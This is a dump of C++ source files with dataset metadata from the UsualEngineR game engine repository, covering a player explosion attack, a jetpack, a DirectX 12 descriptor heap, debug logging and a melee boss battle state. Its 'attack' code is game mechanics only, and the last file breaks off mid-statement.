"text": "#pragma once\n#include \"../IPlayerAttack.h\"\n\nclass PlayerAttackExplosion : public IPlayerAttack\n{\npublic:\n\tPlayerAttackExplosion();\n\tvirtual ~PlayerAttackExplosion() override;\n\n\tvirtual void Init(Player*, int combo) override;;\n\tvirtual void Execute(Player*) override;\n\n\tvirtual const bool IsDone() override {\n\t\treturn m_isDone;\n\t}\n\n\tvirtual const float GetInterval() override {\n\t\treturn m_interval;\n\t}\n\tvirtual const bool IsContinueAttack() override {\n\t\treturn m_isContinuAttack;\n\t}\nprivate:\n\tbool m_isDone = false;\n\tbool m_isContinuAttack = false;\n\tconst float m_interval = 0.5f;\n\tfloat m_timer = 0.f;\n\n\tbool m_isBombed = false;\n\n\tfloat m_range = 7.f;\n\tconst float m_damageAmount = m_DEFAULT_ATTACK_DAMAGE * 6.f;\n\tconst float m_tacklePower = 500.f;\n\tconst float m_ExplodeDamageRange = 100.f;\n\tconst float m_explodeDamage = 10.f;// *6.f;\n\n\tconst float m_StaminaCost = 30.f;\n\tconst float m_BoostCost = 30.f;\n\n\tconst float m_knockBackPower = 230.f;\n\n\tbool m_canDoAttack = true;\n};\n\n\n\n"
},
{
"alpha_fraction": 0.6656262278556824,
"alphanum_fraction": 0.6683573722839355,
"avg_line_length": 24.610000610351562,
"blob_id": "12561b7fcd51d32e332da75d482721c1bddbaa29",
"content_id": "23fca0f5fe93b1dea76524c4e8d5e56d39687cc0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2563,
"license_type": "no_license",
"max_line_length": 153,
"num_lines": 100,
"path": "/Game/Player/Attack/ExplosivePreset/PlayerAttackExplosion.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PlayerAttackExplosion.h\"\n#include \"../../Player.h\"\n#include \"../../../Enemy/EnemyManager.h\"\n\nPlayerAttackExplosion::PlayerAttackExplosion() {\n\n}\n\nPlayerAttackExplosion::~PlayerAttackExplosion() {\n\n}\n\nvoid PlayerAttackExplosion::Init(Player* player, int combo) {\n#ifdef _PRINT_PLAYER_ATTACK\n\tstd::string s = \"attack explosion combo :\" + std::to_string(combo);\n\tDebugPrint_WATA(s.c_str());\n#endif\n\n\tif (player->GetCurrentEndurance() < m_StaminaCost or player->GetCurrentBoost() < m_BoostCost) {\n\t\tm_canDoAttack = false;\n\t\treturn;\n\t}\n\telse {\n\t\tm_canDoAttack = true;\n\t}\n\n\tm_isDone = false;\n\tm_isContinuAttack = false;\n\tm_timer = 0.f;\n\tplayer->PlayAnimation(Player::EnAnimation::enTackle);\n\n\tplayer->UseStamina(m_StaminaCost);\n\tplayer->UseBoost(m_BoostCost);\n\n\tm_isBombed = false;\n\n\t//auto& enemyManager = EnemyManager::GetEnemyManager();\n\t//enemyManager.ApplyAoeDamage(/*attack origin*/ player->GetPosition(), m_range, m_damageAmount * combo);\n\n}\n\nvoid PlayerAttackExplosion::Execute(Player* player) {\n\n\tif (!m_canDoAttack) {\n\t\tm_isDone = true;\n\t\treturn;\n\t}\n\n\tauto delta = gameTime()->GetDeltaTime();\n\n\t//m_timer += delta;\n\n\tauto vel = player->GetForward();\n\tvel *= m_tacklePower;\n\n\tif (m_isBombed)\n\t\tvel *= 0.f;\n\n\tplayer->SetVelocity(vel);\n\n\t/*\n\tfor (int i = 0; i < EnemyManager::GetEnemyManager().GetEnemies().size(); i++) {\n\t\tauto& epos = EnemyManager::GetEnemyManager().GetEnemies().at(i)->GetPosition();\n\t\tif ((player->GetPosition() - epos).Length() < m_range) {\n\t\t\tm_isBombed = true;\n\t\t\tbreak;\n\t\t}\n\t}\n\t*/\n\n\tif (!m_isBombed and (player->GetPosition() - EnemyManager::GetEnemyManager().GetNearestEnemy(player->GetPosition())->GetPosition()).Length() < m_range){\n\t\tm_isBombed = true;\n\t\tfor (int i = 0; i < EnemyManager::GetEnemyManager().GetEnemies().size(); i++) {\n\t\t\tauto& epos = EnemyManager::GetEnemyManager().GetEnemies().at(i)->GetPosition();\n\t\t\tif ((player->GetPosition() - epos).Length() < m_ExplodeDamageRange) {\n\t\t\t\tauto vecKb = EnemyManager::GetEnemyManager().GetEnemies().at(i)->GetPosition() - player->GetPosition();\n\t\t\t\tvecKb.y = 0;\n\t\t\t\tvecKb.Normalize();\n\t\t\t\tvecKb.y = 2.f;\n\t\t\t\tvecKb.Normalize();\n\t\t\t\tvecKb *= m_knockBackPower;\n\t\t\t\tEnemyManager::GetEnemyManager().GetEnemies().at(i)->ApplyDamage(m_explodeDamage,true, vecKb);\n\t\t\t\tauto se = NewGO<CSoundSource>(0);\n\t\t\t\tse->Init(L\"Assets/sound/chara/explosion.wav\", false);\n\t\t\t\tse->Play(false);\n\t\t\t\tplayer->Explode();\n\t\t\t}\n\t\t}\n\t}\n\n\tif (!player->IsPlayingAnimation()) {\n\t\tm_timer += gameTime()->GetDeltaTime();\n\t}\n\n\tif (m_timer >= m_interval) {\n\t\tm_isDone = true;\n\t}\n\n}\n\n\n"
},
{
"alpha_fraction": 0.644659161567688,
"alphanum_fraction": 0.654321014881134,
"avg_line_length": 16.913461685180664,
"blob_id": "dcc15d32ab4859fe42e5717b634610951e24b96f",
"content_id": "c6ee5cc7f5f3c9a214c965f0d4acc37cd4da9691",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2197,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 104,
"path": "/Game/Player/Attachment/JetPack.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Effect/ParticleEffect.h\"\nclass JetEffect;\n\n/// <summary>\n/// \n/// </summary>\nclass JetPack :public GameObject\n{\npublic:\n\tJetPack();\n\tvirtual ~JetPack();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\tvoid SetPosition(const Vector3& pos) {\n\t\tm_position = pos;\n\t}\n\n\tvoid SetRotation(const Quaternion& rot) {\n\t\tm_rotation = rot;\n\t}\n\n\tvoid SetUsingState(const bool flag) {\n\t\tm_isUsed = flag;\n\t}\n\n\tvoid FireThrusters() {\n\t\tm_isUsingThrusters = true;\n\t}\n\n\tvoid StopThrusters() {\n\t\tm_isUsingThrusters = false;\n\t}\n\n\tconst double GetActivatedTime() {\n\t\treturn m_activeTimer;\n\t}\n\nprivate:\n\n\t//Model\n\tModelRender* m_model = nullptr;\n\tVector3 m_position = { 0,15,-20 };\n\tQuaternion m_rotation = Quaternion::Identity;\n\tconst Vector3 m_scale = { 0.5f,0.5f,0.5f };\n\n\tbool m_isUsed = true;\n\n\t//effect\n\tbool m_isUsingThrusters = false;\n\t//PlaneParticleEffectRender* m_effect;\n\t//PlaneParticleEffectRender* m_effect_2;\n\t//PlaneParticleEffectRender* m_effects[4];\n\tBone* m_backpackBone[6] = { nullptr };\n\tstd::vector<JetEffect*> m_jetEffects;\n\n\t//timer\n\tdouble m_activeTimer = 0.f;\n};\n"
},
{
"alpha_fraction": 0.6518232822418213,
"alphanum_fraction": 0.6646212935447693,
"avg_line_length": 26.033174514770508,
"blob_id": "737e2e7c013236940d91fa6f12ef55465c09a605",
"content_id": "c255ba86318da147ee495defb5a4659ec03f7b9a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 7386,
"license_type": "no_license",
"max_line_length": 98,
"num_lines": 211,
"path": "/UsualEngineR/Graphics/DescriptorHeap.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\nnamespace UER\n{\n\t\n\t/// <summary>\n\t/// ディスクリプタヒープ。\n\t/// </summary>\n\tclass DescriptorHeap {\n\tpublic:\n\t\t/// <summary>\n\t\t/// デストラクタ。\n\t\t/// </summary>\n\t\t~DescriptorHeap(); \n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tID3D12DescriptorHeap* Get() const;\n\t\t/// <summary>\n\t\t/// シェーダーリソースをディスクリプタヒープに登録。\n\t\t/// </summary>\n\t\t/// <param name=\"registerNo\">レジスタ番号</param>\n\t\t/// <param name=\"sr\">シェーダーリソース</param>\n\t\tvoid RegistShaderResource(int registerNo, IShaderResource& sr)\n\t\t{\n\t\t\tif (registerNo < MAX_SHADER_RESOURCE) {\n\t\t\t\tm_shaderResources[registerNo] = &sr;\n\t\t\t\tif (m_numShaderResource < registerNo + 1) {\n\t\t\t\t\tm_numShaderResource = registerNo + 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tMessageBoxW(nullptr, L\"DescriptorHeap::RegistShaderResource() レジスタ番号が範囲外です \", L\"エラー\", MB_OK );\n\t\t\t\tstd::abort();\n\t\t\t}\n\t\t}\n\t\t/// <summary>\n\t\t/// アンオーダーアクセスリソースを登録。\n\t\t/// </summary>\n\t\t/// <param name=\"registerNo\">レジスタ番号</param>\n\t\t/// <param name=\"sr\">アンオーダーリソース</param>\n\t\tvoid RegistUnorderAccessResource(int registerNo, IUnorderAccessResrouce& sr)\n\t\t{\n\t\t\tif (registerNo < MAX_SHADER_RESOURCE) {\n\t\t\t\tm_uavResoruces[registerNo] = &sr;\n\t\t\t\tif (m_numUavResource < registerNo + 1) {\n\t\t\t\t\tm_numUavResource = registerNo + 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tMessageBoxW(nullptr, L\"DescriptorHeap::RegistShaderResource() レジスタ番号が範囲外です \", L\"エラー\", MB_OK);\n\t\t\t\tstd::abort();\n\t\t\t}\n\t\t}\n\t\t/// <summary>\n\t\t/// 定数バッファをディスクリプタヒープに登録。\n\t\t/// </summary>\n\t\t/// <param name=\"registerNo\">レジスタ番号</param>\n\t\t/// <param name=\"cb\">定数バッファ</param>\n\t\tvoid RegistConstantBuffer(int registerNo, ConstantBuffer& cb)\n\t\t{\n\t\t\tif (registerNo < MAX_CONSTANT_BUFFER)\n\t\t\t{\n\t\t\t\tm_constantBuffers[registerNo] = &cb;\n\t\t\t\tif (m_numConstantBuffer < registerNo + 1)\n\t\t\t\t{\n\t\t\t\t\tm_numConstantBuffer = registerNo + 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tMessageBoxW(nullptr, L\"DescriptorHeap::RegistConstantBuffer() レジスタ番号が範囲外です \", L\"エラー\", MB_OK);\n\t\t\t\tstd::abort();\n\t\t\t}\n\t\t}\n\n\t\t/// <summary>\n\t\t/// サンプラ定義をディスクリプタヒープに追加。\n\t\t/// </summary>\n\t\t/// <param name=\"registerNo\">\n\t\t/// レジスタ番号。-1が指定されたら、現在登録されているリソース数の次のレジスタが使用される。\n\t\t/// </param>\n\t\t/// <param name=\"desc\">\n\t\t/// サンプラ定義\n\t\t/// </param>\n\t\tvoid RegistSamplerDesc(int registerNo, const D3D12_SAMPLER_DESC& desc)\n\t\t{\n\t\t\tRegistResource(\n\t\t\t\tregisterNo,\n\t\t\t\tdesc,\n\t\t\t\tm_samplerDescs,\n\t\t\t\tm_numSamplerDesc,\n\t\t\t\tMAX_SAMPLER_STATE,\n\t\t\t\tL\"DescriptorHeap::RegistSamplerDesc() registerNo is OUT OF RANGE\"\n\t\t\t);\n\t\t}\n\n\t\t/// <summary>\n\t\t/// ディスクリプタヒープへの登録を確定。\n\t\t/// </summary>\n\t\tvoid Commit();\n\n\t\t/// <summary>\n\t\t/// サンプラステート用のディスクリプタヒープへの登録。\n\t\t/// </summary>\n\t\tvoid CommitSamperHeap();\n\t\t/// <summary>\n\t\t/// 定数バッファのディスクリプタの開始ハンドルを取得。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tD3D12_GPU_DESCRIPTOR_HANDLE GetConstantBufferGpuDescritorStartHandle() const;\n\t\t/// <summary>\n\t\t/// シェーダーリソースのディスクリプタの開始ハンドルを取得。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tD3D12_GPU_DESCRIPTOR_HANDLE GetShaderResourceGpuDescritorStartHandle() const;\n\t\tD3D12_GPU_DESCRIPTOR_HANDLE GetUavResourceGpuDescritorStartHandle() const;\n\t\t/// <summary>\n\t\t/// Samplerのディスクリプタの開始ハンドルを取得。\n\t\t/// </summary>\n\t\tD3D12_GPU_DESCRIPTOR_HANDLE GetSamplerResourceGpuDescritorStartHandle() const;\n\n\t\t/// <summary>\n\t\t/// UAVディスクリプタが始まる配列番号を取得する。\n\t\t/// </summary>\n\t\t/// <remarks>\n\t\t/// UAVディスクリプタはSRVディスクリプタの次から登録されている。\n\t\t/// なので、SRVディスクリプタが10個登録されていれば、\n\t\t/// UAVディスクリプタは配列の10番目から登録されていることになる。\n\t\t/// この関数は現在レイトレエンジンで使用されている。\n\t\t/// </remarks>\n\t/// <returns></returns>\n\t\tint GetOffsetUAVDescriptorFromTableStart() const\n\t\t{\n\t\t\treturn m_numShaderResource + m_numConstantBuffer;\n\t\t}\n\t\t/// <summary>\n\t\t/// シェーダーリソースが一つでも登録されているか判定。\n\t\t/// </summary>\n\t\t/// <returns></returns>\n\t\tbool IsRegistShaderResource() const\n\t\t{\n\t\t\treturn m_numShaderResource != 0;\n\t\t}\n\t\tbool IsRegistConstantBuffer() const\n\t\t{\n\t\t\treturn m_numConstantBuffer != 0;\n\t\t}\n\t\tbool IsRegistUavResource() const\n\t\t{\n\t\t\treturn m_numUavResource != 0;\n\t\t}\n\nprivate:\n\t/// <summary>\n\t/// リソースをディスクリプタヒープに登録。\n\t/// </summary>\n\t/// <param name=\"registerNo\">登録番号</param>\n\t/// <param name=\"res\">登録するリソース</param>\n\t/// <param name=\"resTbl\">リソーステーブル。このテーブルにリソースが追加されます。</param>\n\t/// <param name=\"numRes\">登録されているリソースの数。本関数を呼び出すと、この数が1インクリメントされます。</param>\n\ttemplate<class T>\n\tvoid RegistResource(\n\t\tint registerNo,\n\t\tT res,\n\t\tT resTbl[],\n\t\tint& numRes,\n\t\tconst int MAX_RESOURCE,\n\t\tconst wchar_t* errorMessage\n\t)\n\t{\n\t\tif (registerNo == -1) {\n\t\t\t//-1が指定されていたら、現在登録されている末尾のリソースの次に登録される。\n\t\t\tregisterNo = numRes;\n\t\t}\n\t\tif (registerNo < MAX_RESOURCE) {\n\t\t\tresTbl[registerNo] = res;\n\t\t\tif (numRes < registerNo + 1) {\n\t\t\t\tnumRes = registerNo + 1;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tMessageBox(nullptr, errorMessage, L\"エラー\", MB_OK);\n\t\t\tstd::abort();\n\t\t}\n\t}\n\tprivate:\n\t\tenum {\n\t\t\tMAX_SHADER_RESOURCE = 128,\t//シェーダーリソースの最大数。\n\t\t\tMAX_SAMPLER_STATE = 128,\t//シェーダーリソースの最大数。\n\t\t\tMAX_CONSTANT_BUFFER = 64,\t//定数バッファの最大数。\n\t\t};\n\t\tint m_numShaderResource = 0;\t//シェーダーリソースの数。\n\t\tint m_numConstantBuffer = 0;\t//定数バッファの数。\n\t\tint m_numUavResource = 0;\n\t\tID3D12DescriptorHeap* m_descriptorHeap[2] = { nullptr };\t\t\t\t\t//ディスクリプタヒープ。\n\t\tIShaderResource* m_shaderResources[MAX_SHADER_RESOURCE] = {nullptr};\t\t//シェーダーリソース。7\n\t\tIUnorderAccessResrouce* m_uavResoruces[MAX_SHADER_RESOURCE] = { nullptr };\t//UAVリソース。\n\t\tConstantBuffer* m_constantBuffers[MAX_CONSTANT_BUFFER] = { nullptr };\t//定数バッファ。\n\t\tD3D12_GPU_DESCRIPTOR_HANDLE m_cbGpuDescriptorStart[2];\t\t\t\t\t//定数バッファのディスクリプタヒープの開始ハンドル。\n\t\tD3D12_GPU_DESCRIPTOR_HANDLE m_srGpuDescriptorStart[2];\t\t\t\t\t//シェーダーリソースのディスクリプタヒープの開始ハンドル。\n\t\tD3D12_GPU_DESCRIPTOR_HANDLE m_uavGpuDescriptorStart[2];\t\t\t\t\t//UAVリソースのディスクリプタヒープの開始ハンドル。\n\n\t\tint m_numSamplerDesc = 0;\t\t//サンプラの数。\n\t\tD3D12_SAMPLER_DESC m_samplerDescs[MAX_SAMPLER_STATE];\t\t\t\t\t\t//サンプラステート。\n\t\tD3D12_GPU_DESCRIPTOR_HANDLE m_samplerGpuDescriptorStart[2];\t\t\t\t\t//Samplerのでスクリプタヒープの開始ハンドル\n\t};\n\n}\n"
},
{
"alpha_fraction": 0.6200330853462219,
"alphanum_fraction": 0.628311276435852,
"avg_line_length": 15.324324607849121,
"blob_id": "0d648d78d8370e4cae8aa7a52b6e134e77fbd6c9",
"content_id": "8bcc4c2a4ff36a090aacb3af1210ba68a53eee8d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1542,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 74,
"path": "/Game/Church.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Physics/BoxCollider.h\"\n\nclass PowaPowa;\n\n/// <summary>\n/// \n/// </summary>\nclass Church :public GameObject\n{\npublic:\n\tChurch();\n\tvirtual ~Church();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\tconst bool IsPossibleToHeal();\n\n\tvoid DoHeal();\n\nprivate:\n\tVector3 m_pos = { 750, 0.f,-680 };\n\tconst float m_Range = 30.f;\n\n\tPowaPowa* m_powa = nullptr;\n\n\tbool m_doHealPlayer = false;\n\tbool m_isFadingIn = false;\n\n};\n"
},
{
"alpha_fraction": 0.5519630312919617,
"alphanum_fraction": 0.5785219669342041,
"avg_line_length": 21.8157901763916,
"blob_id": "8484b283cbf8b6d04d481d741988f76ef78dc595",
"content_id": "e5af34fb5f197e19a50167e1e4fef57e707568a5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1090,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 38,
"path": "/UsualEngineR/Debug/DebugLog.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\nnamespace UER\n{\n\tclass DebugLog\n\t{\n\tpublic:\n\t\tstruct Log\n\t\t{\n\t\t\tstd::wstring log;\n\t\t\t//const wchar_t* log = nullptr;\n\t\t\tfloat lifeTime = 0.0f;\n\t\t};\n\t\tDebugLog();\n\t\t~DebugLog();\n\t\t/// <summary>\n\t\t/// 左上にstrを表示するよ。\n\t\t/// </summary>\n\t\t/// <param name=\"str\"></param>\n\t\tvoid Print(const wchar_t* str);\n\t\t/// <summary>\n\t\t/// 描画。\n\t\t/// </summary>\n\t\tvoid Render();\n\tprivate:\n\t\tFont m_font;\t\t\t\t\t\t\t\t\t\t\t\t//フォント\n\t\tstd::list<Log> m_printList;\t\t\t\t\t\t\t//表示するログのリスト\n\t\tVector2 m_originPos = { -640,360 };\t\t\t//ログの表示位置。\n\t\tfloat m_lifeTime = 10.f;\t\t\t\t\t\t\t\t//ログの生存時間。\n\t\tfloat m_firstFontSize = 0.7f;\t\t\t\t\t\t//一番上に表示されるフォントのサイズ\n\t\tfloat m_firstFontSpace = 30.f;\t\t\t\t\t\t//一番上に表示されるフォントの間隔。\n\t\tfloat m_fontSize = 0.4f;\t\t\t\t\t\t\t\t//フォントのサイズ\n\t\tfloat m_fontSpace = 20.f;\t\t\t\t\t\t\t//フォントの間隔。\n\t\tVector4 m_fontColor = Vector4::White;\t//フォントの色。\n\t\tint m_logMaxNum = 16;\t\t\t\t\t\t\t\t//ログの表示される最大数。\n\t};\n}"
},
{
"alpha_fraction": 0.6586901545524597,
"alphanum_fraction": 0.6624684929847717,
"avg_line_length": 12.474575996398926,
"blob_id": "aec5e2f3aa61d911afbcc2ab9aef7ca838df79d9",
"content_id": "534bf9be4ede42fba58cce6a4459c5dfa635c630",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 794,
"license_type": "no_license",
"max_line_length": 41,
"num_lines": 59,
"path": "/UsualEngineR/Graphics/PostEffect/PostEffect.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"RenderTarget.h\"\n#include \"Primitive.h\"\n#include \"Bloom.h\"\n#include \"FocusBlur.h\"\n\nnamespace UER\n{\n\tclass PostEffect\n\t{\n\tpublic:\n\t\tPostEffect() {}\n\t\t~PostEffect()\n\t\t{\n\t\t\tRelease();\n\t\t}\n\n\t\tvoid Release();\n\n\t\tvoid Init();\n\n\t\tvoid Render();\n\n\t\tTexture* GetCurrentBackBufferTexture();\n\t\t\n\n\t\tconst Primitive& GetPrimitive() const\n\t\t{\n\t\t\treturn m_primitive;\n\t\t}\n\n\t\tFocusBlur& GetFocusBlur()\n\t\t{\n\t\t\treturn m_focusBlur;\n\t\t}\n\t\tvoid SetUseFocusBlurFrag(bool b)\n\t\t{\n\t\t\tm_isUseFocusBlur = b;\n\t\t}\n\t\tBloom& GetBloom()\n\t\t{\n\t\t\treturn m_bloom;\n\t\t}\n\tprivate:\n\t\tPrimitive m_primitive;\n\t\tTexture m_backBufferTexture[2];\n\n\t\tRenderContext m_rc4Bloom;\n\n\t\tRenderTarget m_mainRT[2];\n\t\tRenderTarget m_renderTarget;\n\n\t\tBloom m_bloom;\n\t\tFocusBlur m_focusBlur;\n\n\t\tbool m_isUseFocusBlur = false;\n\t};\n}"
},
{
"alpha_fraction": 0.6731888651847839,
"alphanum_fraction": 0.6871826648712158,
"avg_line_length": 29.247190475463867,
"blob_id": "778a7a207b93b6791ea3d8b05b03574510f0392b",
"content_id": "390f935bd77aa312b7bf78ff4a04b490488a0e0e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 8105,
"license_type": "no_license",
"max_line_length": 146,
"num_lines": 267,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleeBattleState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"EnemyMeleeBattleState.h\"\n#include \"../../EnemyManager.h\"\n#include \"../../IEnemy.h\"\n#include \"../../../Player/Player.h\"\n#include \"../../Boss/BossA.h\"\n#include \"../../../Effect/JetEffect.h\"\n#include \"GameManager.h\"\n#include \"../../../Game.h\"\n#include \"Camera/GameCamera.h\"\n#include \"Enemy/BossBGM.h\"\n\nEnemyMeleeBattleState::EnemyMeleeBattleState() {\n\n}\n\nEnemyMeleeBattleState::~EnemyMeleeBattleState() {\n\n}\n\nvoid EnemyMeleeBattleState::Enter(IEnemy* e) {\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enter enemy melee battle\\n\");\n#endif\n\tif (GameManager::GetInstance().m_bgm != nullptr) {\n\t\t//GameManager::GetInstance().m_bgm->AddBgmCount(1);\n\t\tGameManager::GetInstance().m_bgm->SetInBattleFlag(IEnemy::EnBossType::Melee, true);\n\t}\n\te->PlayAnimation(IEnemy::EnAnimation::enIdle);\n\n\tauto& effects = e->GetJetEffects();\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterL))->SetGenerateFlag(false);\n\teffects.at(TO_INT(BossA::EnJetBone::ThrusterR))->SetGenerateFlag(false);\n\n\tauto hp = e->GetCurrentHP();\n\n\t// :---phase3--:---phase2---:---phase1---://\n\tconst auto div = e->GetMaxHP() / TO_INT(EnBattlePhase::NumPhase);\n\tconst float minPhase1 = e->GetMaxHP() - div;\n\tconst float minPhase2 = e->GetMaxHP() - div * 2;\n\n\tif (hp < minPhase2) {\n\t\t//phase3\n\t\tm_battlePhase = EnBattlePhase::Normal;\n\t\te->SetSmokeFlag(false);\n\t\tg_graphicsEngine->GetPostEffect().SetUseFocusBlurFrag(false);\n\t\t//printf(\"phase 3\\n\");\n\t}\n\n\tif (hp >= minPhase2 and hp < minPhase1) {\n\t\t//phase2\n\t\tif (m_battlePhase != EnBattlePhase::Mad) {\n\t\t\tDebugPrint_WATA(\"phase 2\\n\");\n\t\t\tm_battlePhase = EnBattlePhase::Mad;\n\t\t\te->PlayAnimation(TO_INT(BossA::EnAnimEx::enAngry));\n\t\t\tauto cam = GameManager::GetInstance().m_camera;\n\t\t\tauto tar = e->GetPosition();\n\t\t\ttar.y += 20.f;\n\n\t\t\tauto eneForward = e->GetForward();\n\t\t\tauto camEndPos = e->GetPosition() + eneForward * 35.f;\n\t\t\tcamEndPos.y += 20.f;\n\t\t\tauto sec = 1.f;\n\t\t\tauto interval = 1.7f;\n\n\t\t\tg_graphicsEngine->GetPostEffect().SetUseFocusBlurFrag(true);\n\n\t\t\tcam->Perform(\n\t\t\t\tcamEndPos, camEndPos,\n\t\t\t\ttar, tar, sec, interval, GameCamera::State::enEnemyCamera\n\t\t\t);\n\n\t\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\t\tse->Init(L\"Assets/sound/Boss_Shout.wav\");\n\t\t\tse->Play(false);\n\t\t\tse->SetVolume(1.0f);\n\n\t\t\te->SetSmokeFlag(true);\n\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ThrusterL))->SetGenerateFlag(true);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ThrusterR))->SetGenerateFlag(true);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ElbowL))->SetGenerateFlag(true);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ElbowR))->SetGenerateFlag(true);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::BackL))->SetGenerateFlag(true);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::BackR))->SetGenerateFlag(true);\n\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ThrusterL))->SetScale(0.5);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ThrusterR))->SetScale(0.5);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ElbowL))->SetScale(0.2);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ElbowR))->SetScale(0.2);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::BackL))->SetScale(0.3);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::BackR))->SetScale(0.3);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ThrusterL))->SetGenerateFlag(false);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ThrusterR))->SetGenerateFlag(false);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ElbowL))->SetGenerateFlag(true);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ElbowR))->SetGenerateFlag(true);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::BackL))->SetGenerateFlag(false);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::BackR))->SetGenerateFlag(false);\n\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ThrusterL))->SetScale(0.1);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ThrusterR))->SetScale(0.1);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ElbowL))->SetScale(0.1);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::ElbowR))->SetScale(0.1);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::BackL))->SetScale(0.1);\n\t\t\teffects.at(TO_INT(BossA::EnJetBone::BackR))->SetScale(0.1);\n\t\t}\n\t}\n\n\tif (hp >= minPhase1) {\n\t\t//phase 1\n\t\tm_battlePhase = 